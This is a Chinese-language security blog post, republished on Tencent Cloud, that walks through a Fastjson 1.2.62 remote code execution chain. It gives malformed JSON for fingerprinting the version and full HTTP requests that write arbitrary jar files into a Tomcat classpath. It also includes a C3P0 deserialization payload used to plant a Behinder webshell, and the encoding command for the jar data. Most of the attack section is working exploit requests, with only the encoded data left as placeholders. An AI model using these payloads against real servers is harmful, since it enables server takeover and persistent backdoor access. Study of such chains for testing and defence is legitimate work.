记一次FastjsonRCE利用链调试

OneTS安全团队

发布于 2025-02-07 16:32:18

4600

代码可运行

文章被收录于专栏：OneTS安全团队

运行总次数：0

代码可运行

声明

本文属于OneTS安全团队成员Gal0nYu的原创文章，转载请声明出处！本文章仅用于学习交流使用，因利用此文信息而造成的任何直接或间接的后果及损失，均由使用者本人负责，OneTS安全团队及文章作者不为此承担任何责任。

环境搭建准备

所需准备：

Fastjson版本1.2.62
tomcat8
centos7
fastjson-1.2.46.jar
c3p0-0.9.5.2.jar

判断fastjson的版本

构造畸形fastjson数据，通过报错回显判断版本

# Payload1：
{"@type": "java.lang.AutoCloseable"
# Payload2：
{"@typee":"java.lang.AutoCloseable}

发送以下payload

发现报错回显得到fastjson版本为1.2.62

Fastjson任意文件写入及c3p0链利用

利用jdk利用链写入低版本fastjson-1.2.46.jar包到classpath下

写入fastjson-1.2.46.jar的Payload:

POST /fastjson/ HTTP/1.1
Host: xxxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 13121




{"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/root/tomcat8/webapps/fastjson/WEB-INF/lib/fastjson-1.2.46.jar","append":false},"infl":{"input":"xxxxx"},"bufLen":1048576},"protocolVersion":1}}

利用jdk利用链写入低版本c3p0-0.9.5.2.jar包到classpath下

POST /fastjson/ HTTP/1.1
Host: xxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 13121




{"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/root/tomcat8/webapps/fastjson/WEB-INF/lib/c3p0-0.9.5.2.jar","append":false},"infl":{"input":"xxxxx"},"bufLen":1048576},"protocolVersion":1}}

重启服务后classpath生效，利用C3P0二次反序列化打Fastjson

写入冰蝎马

POST /fastjson/ HTTP/1.1
Host: xxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 13121




{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容"}}

成功写入冰蝎马

{"input":"xxx"}中的xxx如何生成

例如要写入fastjson-1.2.46.jar，就用下面这条命令转换数据，然后复制粘贴生成的数据填入{"input":"xxxxx"}中xxxxx的位置

cat fastjson-1.2.46.jar | openssl zlib | base64 -w 0

"HexAsciiSerializedMap:hex编码内容"中的hex编码内容如何生成

参考文章：

https://www.cnblogs.com/CoLo/p/15850685.html

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2024-07-04，如有侵权请联系 cloudcommunity@tencent.com 删除

fastjson

本文分享自 OneTS安全团队微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

登录后参与评论

0 条评论

热度

记一次FastjsonRCE利用链调试

记一次FastjsonRCE利用链调试

社区

活动

资源

关于

腾讯云开发者

热门产品

热门推荐

更多推荐